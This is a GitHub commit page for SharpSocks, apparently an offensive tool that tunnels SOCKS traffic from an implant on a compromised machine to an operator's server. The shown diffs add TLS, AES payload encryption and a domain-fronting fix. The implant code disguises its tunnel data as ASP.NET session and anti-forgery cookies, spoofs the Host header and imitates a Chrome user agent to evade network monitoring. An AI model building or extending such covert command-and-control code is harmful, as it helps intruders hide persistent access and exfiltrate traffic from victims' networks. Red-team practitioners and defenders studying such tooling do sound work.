Skip to content

Commit

Permalink
TLS and Domain Fronting
Browse files Browse the repository at this point in the history
[+] Added: TLS by default, a self signed cert has added. If one is NOT Specified this one will be used. A X509Certificate2 can be passed via the PSSocksServer.CreateSocksController Method
[+] Fixed: Domain Fronting now works as expected, corrected a bug which meant that the payload wasn't being sent correctly for the fronted host
[+] Fixed: Authenticated Proxy out via the implant should now work correctly
  • Loading branch information
rolen committed Jul 16, 2018
1 parent 805b153 commit 5742e3d
Show file tree
Hide file tree
Showing 24 changed files with 905 additions and 136 deletions.
3 changes: 3 additions & 0 deletions .gitignore
Original file line number Diff line number Diff line change
Expand Up @@ -24,6 +24,9 @@ bld/
[Oo]bj/
[Ll]og/

#Self Signed Certificate directory
cert/

# Visual Studio 2015 cache/options directory
.vs/
# Uncomment if you have tasks that create the project's static files in wwwroot
Expand Down
Binary file modified Binaries/SharpSocksImplantDLL/SharpSocksImplant.dll
Binary file not shown.
Binary file modified Binaries/SharpSocksImplantTestApp/SharpSocksImplant.dll
Binary file not shown.
Binary file modified Binaries/SharpSocksImplantTestApp/SharpSocksImplantTestApp.exe
Binary file not shown.
Binary file modified Binaries/SharpSocksServerDLL/SharpSocksServer.dll
Binary file not shown.
Binary file modified Binaries/SharpSocksServerTestApp/SharpSocksServer.dll
Binary file not shown.
Binary file modified Binaries/SharpSocksServerTestApp/SharpSocksServerTestApp.exe
Binary file not shown.
225 changes: 113 additions & 112 deletions SharpSocks.ps1

Large diffs are not rendered by default.

Original file line number Diff line number Diff line change
@@ -0,0 +1,87 @@
using Common.Classes.Encryption;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.InteropServices;
using System.Security;

namespace Common.Encryption.SimpleEncryptor
{

/// <summary>
/// This is a simple encryptor
/// </summary>
public class DebugSimpleEncryptor : IEncryptionHelper
{
List<byte> _key = new List<byte>();

public DebugSimpleEncryptor(String base64Key)
{
byte[] key = Convert.FromBase64String(base64Key);
System.Security.Cryptography.ProtectedMemory.Protect(key, System.Security.Cryptography.MemoryProtectionScope.SameProcess);
_key.AddRange(key);
Array.Clear(key, 0, key.Length);
}

public DebugSimpleEncryptor(SecureString base64Key)
{
IntPtr valuePtr = IntPtr.Zero;
try
{
valuePtr = Marshal.SecureStringToGlobalAllocUnicode(base64Key);
var key = Convert.FromBase64String(Marshal.PtrToStringUni(valuePtr));
System.Security.Cryptography.ProtectedMemory.Protect(key, System.Security.Cryptography.MemoryProtectionScope.SameProcess);
_key.AddRange(key);
Array.Clear(key, 0, key.Length);
}
finally
{
Marshal.ZeroFreeGlobalAllocUnicode(valuePtr);
}
}

public List<byte> Decrypt(string encodedEncPayload)
{
var ciphrBytes = Convert.FromBase64String(encodedEncPayload).ToList();
using (var aes = new System.Security.Cryptography.RijndaelManaged())
{
aes.Mode = System.Security.Cryptography.CipherMode.CBC;
aes.Padding = System.Security.Cryptography.PaddingMode.PKCS7;
aes.IV = ciphrBytes.Take(16).ToArray();
var key = _key.ToArray();
System.Security.Cryptography.ProtectedMemory.Unprotect(key, System.Security.Cryptography.MemoryProtectionScope.SameProcess);
aes.Key = key;
var dec = aes.CreateDecryptor();
var encBytes = ciphrBytes.Skip(16).ToArray();
var plainbytes = dec.TransformFinalBlock(encBytes, 0, encBytes.Length).ToList();
Array.Clear(key, 0, key.Length);
return plainbytes;
}
}

public string Encrypt(List<byte> payload)
{
using (var aes = new System.Security.Cryptography.RijndaelManaged())
{
var result = new List<byte>();
aes.Mode = System.Security.Cryptography.CipherMode.CBC;
aes.Padding = System.Security.Cryptography.PaddingMode.PKCS7;
aes.GenerateIV();
var key = _key.ToArray();
System.Security.Cryptography.ProtectedMemory.Unprotect(key, System.Security.Cryptography.MemoryProtectionScope.SameProcess);
aes.Key = key;
var enc = aes.CreateEncryptor();
result.AddRange(aes.IV);
result.AddRange(enc.TransformFinalBlock(payload.ToArray(), 0, payload.Count));
Array.Clear(key, 0, key.Length);
return System.Convert.ToBase64String(result.ToArray());
}
}

public string Initialize()
{
//NO WORK TO DO IN THIS VERSION
return "USING DEBUG SIMPLE ENCRYPTOR";
}
}
}
Original file line number Diff line number Diff line change
Expand Up @@ -55,7 +55,9 @@ public List<byte> Send(String sessionPayload, String status, List<byte> payload)
wc.Proxy = HttpWebRequest.GetSystemWebProxy();
else
wc.Proxy = _config.WebProxy;
cookies.Add(new Cookie($"{_config.SessionCookieName}", $"{encryptedSessionPayload}") { Domain = _config.URL.Host });
wc.Headers.Add("Host", _config.HostHeader);

cookies.Add(new Cookie($"{_config.SessionCookieName}", $"{encryptedSessionPayload}") { Domain = (!String.IsNullOrWhiteSpace(_config.HostHeader)) ? _config.HostHeader.Split(':')[0] : _config.URL.Host });

string encPayload = null;
if (null != payload && payload.Count > 0)
Expand Down Expand Up @@ -93,8 +95,16 @@ public List<byte> Send(String sessionPayload, String status, List<byte> payload)
response = wc.UploadString(BuildServerURI(), encPayload);
else
{
if (wc.Headers.AllKeys.Contains("Host"))
{
if (wc.Headers["Host"] != _config.HostHeader)
wc.Headers["Host"] = _config.HostHeader;
}
else
wc.Headers.Add("Host", _config.HostHeader);
if (payload != null && payload.Count() > 0)
cookies.Add(new Cookie($"{_config.PayloadCookieName}", $"{encPayload}") { Domain = _config.URL.Host });
cookies.Add(new Cookie($"{_config.PayloadCookieName}", $"{encPayload}") { Domain = (!String.IsNullOrWhiteSpace(_config.HostHeader)) ? _config.HostHeader.Split(':')[0] : _config.URL.Host });


response = wc.DownloadString(BuildServerURI());
}
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -63,10 +63,7 @@ protected override WebRequest GetWebRequest(Uri address)

((HttpWebRequest)r).AllowAutoRedirect = AutoRedirect;
((HttpWebRequest)r).ServicePoint.Expect100Continue = false;

if(!String.IsNullOrWhiteSpace(frontingDomain))
((HttpWebRequest)r).Headers["Host"] = frontingDomain;


((HttpWebRequest)r).UserAgent = UserAgent;

var request = r as HttpWebRequest;
Expand Down
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
using Common.Encryption.Debug;
using Common.Encryption.SimpleEncryptor;
using ImplantSide.Classes;
using ImplantSide.Classes.Socks;
using ImplantSide.Interfaces;
Expand Down Expand Up @@ -26,6 +26,7 @@ public static SocksController CreateSocksController(Uri serverUri, String comman
UserAgent = userAgent,
CommandServerUI = serverUri,
UseProxy = (null != wbProxy),
WebProxy = wbProxy,
URLPaths = urlPaths,
ImplantComms = icomms,
HostHeader = HostHeader,
Expand Down
2 changes: 1 addition & 1 deletion SharpSocksImplant/ImplantSide/SharpSocksImplant.csproj
Original file line number Diff line number Diff line change
Expand Up @@ -42,7 +42,7 @@
<Reference Include="System.Xml" />
</ItemGroup>
<ItemGroup>
<Compile Include="Classes\Common\Encryption\Debug\DebugSimpleEncryptor.cs" />
<Compile Include="Classes\Common\Encryption\SimpleEncryptor\DebugSimpleEncryptor.cs" />
<Compile Include="Classes\Common\Encryption\EncryptionHelper.cs" />
<Compile Include="Classes\Common\Encryption\IEncryptionHelper.cs" />
<Compile Include="Classes\Common\Host\IPv4Tools.cs" />
Expand Down
20 changes: 15 additions & 5 deletions SharpSocksImplant/ImplantTestApp/Program.cs
Original file line number Diff line number Diff line change
Expand Up @@ -28,12 +28,13 @@ static void Main(string[] args)
String key = null;
short beaconTime = 0;
bool useProxy = false;
bool userDefinedProxy = false;
var errors = new List<String>();
var warnings = new List<String>();

var p = new OptionSet() {
{ "use-proxy","Use proxy server (for system proxy set this and leave -m blank)" , v => useProxy = v != null },
{ "m=|proxy=", "Proxy Url in format http://<server>:<port> (-p is implied)", v => proxyUrl = v},
{ "m=|proxy=", "Proxy Url in format http://<server>:<port> (use-proxy is implied)", v => proxyUrl = v},
{ "u=|username=", "Web proxy username ", v => username = v},
{ "d=|domain=", "Web proxy domain ", v => domain = v},
{ "p=|password=", "Web proxy password ", v => password = v},
Expand Down Expand Up @@ -99,13 +100,13 @@ static void Main(string[] args)
else
cred = new NetworkCredential(username, secPassword);

wbProxy = new WebProxy(proxyUri, true, new List<String>().ToArray(), cred);
wbProxy = new WebProxy(proxyUri, false, new List<String>().ToArray(), cred);

}
else
wbProxy = new WebProxy(proxyUri, true, new List<String>().ToArray());
wbProxy = new WebProxy(proxyUri, false, new List<String>().ToArray());

useProxy = true;
userDefinedProxy = useProxy = true;
}
}

Expand All @@ -131,7 +132,16 @@ static void Main(string[] args)
foreach (var n in key) secKey.AppendChar(n);
}

var sock = PoshCreateProxy.CreateSocksController(parsedServerUri, commandChannelId, dfHost, userAgent ?? "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.78 Safari/537.36", secKey, new List<String> {"Upload" }, sessionCookieName ?? "ASP.NET_SessionId", payloadCookieName ?? "__RequestVerificationToken", System.Net.HttpWebRequest.GetSystemWebProxy(), 5000, null);
var sock = PoshCreateProxy.CreateSocksController(parsedServerUri,
commandChannelId,
dfHost,
userAgent ?? "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.78 Safari/537.36",
secKey,
new List<String> {"Upload" },
sessionCookieName ?? "ASP.NET_SessionId", payloadCookieName ?? "__RequestVerificationToken",
(useProxy) ? ((userDefinedProxy) ? wbProxy : System.Net.HttpWebRequest.GetSystemWebProxy()) : null,
5000,
null);

Console.WriteLine("Ready to start cmd loop?");
Console.ReadLine();
Expand Down
Binary file not shown.
73 changes: 73 additions & 0 deletions SharpSocksServer/SharpSocksServer/SharpSocks.Designer.cs

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

Loading

0 comments on commit 5742e3d

Please sign in to comment.